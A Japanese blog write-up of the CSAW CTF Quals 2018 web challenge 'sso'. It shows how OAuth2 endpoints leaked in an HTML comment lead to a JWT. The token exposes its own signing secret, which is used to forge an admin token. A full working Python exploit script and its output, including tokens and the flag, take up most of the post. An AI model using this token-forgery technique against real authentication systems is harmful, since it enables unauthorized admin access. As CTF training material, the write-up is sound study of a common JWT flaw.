こんとろーるしーこんとろーるぶい

週末にカチャカチャッターン!したことを貼り付けていくブログ

CSAW CTF Quals 2018 - sso

問題文

Don't you love undocumented APIs
http://web.chal.csaw.io:9000/

f:id:graneed:20180917021551p:plain

writeup

HTMLソースを確認する。

  <h1>Welcome to our SINGLE SIGN ON PAGE WITH FULL OAUTH2.0!</h1>
  <a href="/protected">.</a>
  <!--
  Wish we had an automatic GET route for /authorize... well they'll just have to POST from their own clients I guess
  POST /oauth2/token
  POST /oauth2/authorize form-data TODO: make a form for this route
  --!>  

/protectedにアクセスすると、Missing header: Authorizationのエラー。

APIが2つ提供されている。但し、I/F仕様は不明。

  • /oauth2/authorize
  • /oauth2/token

OAuth2の手続きに沿って、上記APIを使用して認証してprotectedにアクセスすれば良さそうだ。ただ、各APIの仕様がわからないため、試行錯誤しながら手探りで進める。

結果、以下の方法でflagを取得できた。

  • /oauth2/authorizecodeを発行して/oauth2/tokenに渡すとtokenを入手できた。
  • tokenはJWTの仕様に則っており、デコードするとsecretを入手できた。
  • secretを使用すると、token情報内のtype情報を書き換えて署名できるため、typeuserからadminに書き換えた。
  • admintokenを付けて/protectedにリクエストするとflagをゲットできた。

以下、一気通貫で実行するコード。

import requests
import re
import json
import jwt

# authorizeからcode取得
r = requests.post("http://web.chal.csaw.io:9000/oauth2/authorize",
    data={
        "response_type":"code",
        "redirect_uri":"http://example.com/",
        },
    allow_redirects=False
)
print("[+] r.text:", r.text)

pattern = ".*code=(.*)&"
m = re.search(pattern, r.text)
if m:
    code = m.group(1)
    print("[+] code:", code)
    print(jwt.decode(code, algorithms=['HS256'], verify=False))
else:
    exit(1)

# tokenからcode取得
r = requests.post("http://web.chal.csaw.io:9000/oauth2/token",
    data={
        "grant_type":"authorization_code",
        "redirect_uri":"http://example.com/",
        "code":code
        },
    allow_redirects=False
)
print("[+] r.text:", r.text)

token=r.json()["token"]
print("[+] token:", token)

token_decode=jwt.decode(token, algorithms=['HS256'], verify=False)
print("[+] token_decode:", token_decode)

# JWTのsecret取得
secret = token_decode["secret"]
print("[+] secret:", secret)

# typeを書き換え
payload = r.json()
payload["type"]="admin"
print("[+] payload:", payload)

token=jwt.encode(payload, secret, "HS256")
print("[+] new token:", token)

r = requests.get("http://web.chal.csaw.io:9000/protected",
    allow_redirects=False,
    headers={
        "Authorization":"Bearer " + token.decode("utf-8")
    }
)

print(r.text)

実行結果はこちら。

Redirecting to <a href="http://example.com/?code=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJyZWRpcmVjdF91cmkiOiJodHRwOi8vZXhhbXBsZS5jb20vIiwiaWF0IjoxNTM2OTkxNjg2LCJleHAiOjE1MzY5OTIyODZ9.j_H5btMAPH_ImFLn39Mp-YMsEcWB1xQY8B2fYA755CY&amp;state=">http://example.com/?code=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJyZWRpcmVjdF91cmkiOiJodHRwOi8vZXhhbXBsZS5jb20vIiwiaWF0IjoxNTM2OTkxNjg2LCJleHAiOjE1MzY5OTIyODZ9.j_H5btMAPH_ImFLn39Mp-YMsEcWB1xQY8B2fYA755CY&amp;state=</a>.
[+] code: eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJyZWRpcmVjdF91cmkiOiJodHRwOi8vZXhhbXBsZS5jb20vIiwiaWF0IjoxNTM2OTkxNjg2LCJleHAiOjE1MzY5OTIyODZ9.j_H5btMAPH_ImFLn39Mp-YMsEcWB1xQY8B2fYA755CY
{'redirect_uri': 'http://example.com/', 'iat': 1536991686, 'exp': 1536992286}
{"token_type":"Bearer","token":"eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ0eXBlIjoidXNlciIsInNlY3JldCI6InVmb3VuZG1lISIsImlhdCI6MTUzNjk5MTY4NiwiZXhwIjoxNTM2OTkyMjg2fQ.E8YmoP8WUIqNMd23hwsGE0Gx6syxD3fzrh11Q0B6lRo"}
[+] token: eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ0eXBlIjoidXNlciIsInNlY3JldCI6InVmb3VuZG1lISIsImlhdCI6MTUzNjk5MTY4NiwiZXhwIjoxNTM2OTkyMjg2fQ.E8YmoP8WUIqNMd23hwsGE0Gx6syxD3fzrh11Q0B6lRo
[+] token_decode: {'type': 'user', 'secret': 'ufoundme!', 'iat': 1536991686, 'exp': 1536992286}
[+] secret: ufoundme!
[+] payload: {'token_type': 'Bearer', 'token': 'eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ0eXBlIjoidXNlciIsInNlY3JldCI6InVmb3VuZG1lISIsImlhdCI6MTUzNjk5MTY4NiwiZXhwIjoxNTM2OTkyMjg2fQ.E8YmoP8WUIqNMd23hwsGE0Gx6syxD3fzrh11Q0B6lRo', 'type': 'admin'}
[+] new token: b'eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJ0b2tlbl90eXBlIjoiQmVhcmVyIiwidG9rZW4iOiJleUpoYkdjaU9pSklVekkxTmlJc0luUjVjQ0k2SWtwWFZDSjkuZXlKMGVYQmxJam9pZFhObGNpSXNJbk5sWTNKbGRDSTZJblZtYjNWdVpHMWxJU0lzSW1saGRDSTZNVFV6TmprNU1UWTROaXdpWlhod0lqb3hOVE0yT1RreU1qZzJmUS5FOFltb1A4V1VJcU5NZDIzaHdzR0UwR3g2c3l4RDNmenJoMTFRMEI2bFJvIiwidHlwZSI6ImFkbWluIn0.tjVSYPpE2mipLynJvx5L4T2dRud1gBZTmpEJvnJFz3U'
flag{JsonWebTokensaretheeasieststorage-lessdataoptiononthemarket!theyrelyonsupersecureblockchainlevelencryptionfortheirmethods}

フラグゲット。
flag{JsonWebTokensaretheeasieststorage-lessdataoptiononthemarket!theyrelyonsupersecureblockchainlevelencryptionfortheirmethods}